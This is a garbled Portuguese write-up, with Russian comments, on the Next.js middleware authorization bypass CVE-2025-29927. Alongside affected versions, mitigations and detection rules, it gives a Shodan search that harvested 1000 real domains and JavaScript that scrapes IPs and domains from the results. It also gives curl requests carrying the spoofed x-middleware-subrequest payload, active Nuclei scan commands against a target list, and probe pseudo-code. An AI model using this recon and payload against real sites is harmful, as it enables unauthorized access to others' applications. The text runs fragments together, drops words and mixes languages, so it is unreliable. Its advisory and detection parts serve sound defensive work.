
Resumo: vulnerabilidade no middleware do Next.js que permite contornar verificações de autorização por meio da falsificação do cabeçalho
x-middleware-subrequest.
Executei uma busca no Shodan usando o filtro http.headers:"x-middleware-rewrite" e peguei uma lista de 1000 domínios
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
Contexto e histórico Nas versões iniciais, o middleware do Next.js podia fazer chamadas internas (sub-requests) para a própria aplicação. Para evitar recursão, o framework introduzia cabeçalhos HTTP internos — marcadores que indicavam “esta requisição já foi processada”. Essa abordagem era prática e evitava loops infinitos dentro do pipeline do middleware.
Evolução do middleware e payloads
Antes do Next.js 12.2, os middlewares ficavam como _middleware dentro de pages/ e podiam ser aninhados (pages/_middleware, pages/dashboard/_middleware, etc.). O payload podia indicar um caminho específico (x-middleware-subrequest: pages/dashboard/_middleware).
A partir do 12.2, os middlewares passaram a ser nomeados middleware.js/ts e deixaram de viver em pages/. Nesse caso, um payload simples x-middleware-subrequest: middleware (ou src/middleware ao usar src/) geralmente funcionava.
Versões posteriores (≥ 13.2.0) introduziram verificações adicionais, incluindo MAX_RECURSION_DEPTH; em alguns bypasses usavam valores repetidos como para simular uma cadeia aninhada.
Na prática: o formato exato do payload depende da versão do Next.js e da estrutura do projeto.
CVE-2025-29927x-middleware-subrequest. Um cliente externo pode definir esse cabeçalho e contornar as verificações de acesso.x-middleware-subrequest ao decidir sobre o acesso. O campo foi originalmente destinado a operações internas do framework, mas requisições externas podem definir esse cabeçalho, permitindo contornar a autorização.Os seguintes intervalos de versões são vulneráveis:
>= 11.1.4 e < 12.3.5>= 13.0.0 e < 13.5.9>= 14.0.0 e < 14.2.25>= 15.0.0 e < 15.2.39.1 (CRITICAL)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, headers, favicon hash) — modo seguro.x-middleware-subrequest e compara a resposta. É obrigatório usar rate-limit e throttle.Comando para execução (exemplo):
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest → comparar status e corpo.--concurrency, --delay, --dry-run, --respect-robots.aiohttp / asyncio para alta performance.Pseudo-código curto:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.x-middleware-subrequest na borda:x-middleware-subrequest e verificar a origem.Exemplos de regras/alertas:
SIEM: alertar em requisições de entrada com x-middleware-subrequest, se source.ip não estiver em trusted_proxies.
Suricata (pseudocódigo):
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
/_next/static/, package.json, headers, favicon hash). Nenhuma exploração — seguro.x-middleware-subrequest e verifica a diferença na resposta (body/status). Throttle e rate-limit são obrigatórios.--dry-run e --respect-robots.alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demomiddleware:middleware:...Histórico da correção e o problema com x-middleware-subrequest-id
O patch rápido inicial incluía a ideia de um identificador interno — x-middleware-subrequest-id — gerado e validado em runtime para distinguir subrequests internos válidos de falsificações.
No entanto, a implementação mostrou um efeito colateral: esse ID interno podia vazar para fora (indo parar em fetch/requisições de saída), criando um novo risco. Além disso, a assinatura/sincronização dos identificadores se mostrou não confiável com múltiplos CDN/PoP e runtimes mistos (Edge vs Node).
Como resultado, o código com x-middleware-subrequest-id foi removido/refeito; a solução final é uma combinação de patches no Next.js e mitigações de plataforma (filtragem de cabeçalhos internos de entrada no nível de ingress/edge).